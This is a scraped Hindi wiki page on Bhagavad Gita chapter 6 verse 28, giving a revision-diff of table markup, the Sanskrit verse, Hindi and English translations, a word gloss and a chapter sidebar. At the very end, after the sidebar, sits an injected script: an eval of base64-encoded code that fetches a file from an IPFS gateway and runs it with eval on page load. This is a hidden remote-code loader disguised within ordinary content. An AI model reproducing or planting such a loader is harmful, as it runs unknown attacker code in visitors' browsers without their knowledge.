ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ
खोज पर जाएँ
|
|
पंक्ति ३९: |
पंक्ति ३९: |
| </td> | | </td> |
| </tr> | | </tr> |
− | </table> | + | <tr> |
| + | <td> |
| <br /> | | <br /> |
| <div align="center" style="font-size:120%;">'''[[गीता 6:27|<= पीछे Prev]] | [[गीता 6:29|आगे Next =>]]'''</div> | | <div align="center" style="font-size:120%;">'''[[गीता 6:27|<= पीछे Prev]] | [[गीता 6:29|आगे Next =>]]'''</div> |
| + | </td> |
| + | </tr> |
| + | <tr> |
| + | <td> |
| <br /> | | <br /> |
| {{गीता अध्याय 6}} | | {{गीता अध्याय 6}} |
| + | </td> |
| + | </tr> |
| + | <tr> |
| + | <td> |
| {{गीता अध्याय}} | | {{गीता अध्याय}} |
| + | </td> |
| + | </tr> |
| + | </table> |
| [[category:गीता]] | | [[category:गीता]] |
०६:१३, २४ अक्टूबर २००९ का अवतरण
गीता अध्याय-6 श्लोक-28 / Gita Chapter-6 Verse-28
प्रसंग-
इस प्रकार अभेद भाव से साधन करने वाले सांख्ययोगी के ध्यान का और उसके फल का वर्णन करके अब उस साधक के व्यवहार काल की स्थिति का वर्णन करते हैं-
युञ्जन्नेवं सदात्मानं योगी विगतकल्मष: ।
सुखेन ब्रह्रासंस्पर्शमत्यन्तं सुखमश्नुते ।।28।।
|
वह पाप रहित योगी इस प्रकार निरन्तर आत्मा को परमात्मा में लगाता हुआ सुखपूर्वक परब्रह्रा परमात्मा की प्राप्ति रूप अनन्त आनन्द का अनुभव करता है ।।28।।
|
The sinless Yogi, thus uniting his self constantly with god, easily enjoys the eternal bliss of oneness with Brahma. (28)
|
विगतकल्मष: = पापरहित; योगी =योगी; एवम् = इस प्रकार;सदा =निरन्तर; आत्मानम् = आत्मा को; युज्जन् = (परमात्मा में) लगाता हुआ; सुखेन =सुख्य़पूर्वक;ब्रह्मसंस्पर्शम् = परब्रह्म परमात्मा की प्राप्तिरूप; अत्यन्तम् = अनन्त; सुखम् = आनन्द को; अश्नुते =अनुभव करता है
|
|
|
|
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__
- गीता अध्याय-Gita Chapters
- गीता 1:1|अध्याय [1] Chapter
- गीता 2:1|अध्याय [2] Chapter
- गीता 3:1|अध्याय [3] Chapter
- गीता 4:1|अध्याय [4] Chapter
- गीता 5:1|अध्याय [5] Chapter
- गीता 6:1|अध्याय [6] Chapter
- गीता 7:1|अध्याय [7] Chapter
- गीता 8:1|अध्याय [8] Chapter
- गीता 9:1|अध्याय [9] Chapter
- गीता 10:1|अध्याय [10] Chapter
- गीता 11:1|अध्याय [11] Chapter
- गीता 12:1|अध्याय [12] Chapter
- गीता 13:1|अध्याय [13] Chapter
- गीता 14:1|अध्याय [14] Chapter
- गीता 15:1|अध्याय [15] Chapter
- गीता 16:1|अध्याय [16] Chapter
- गीता 17:1|अध्याय [17] Chapter
- गीता 18:1|अध्याय [18] Chapter
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|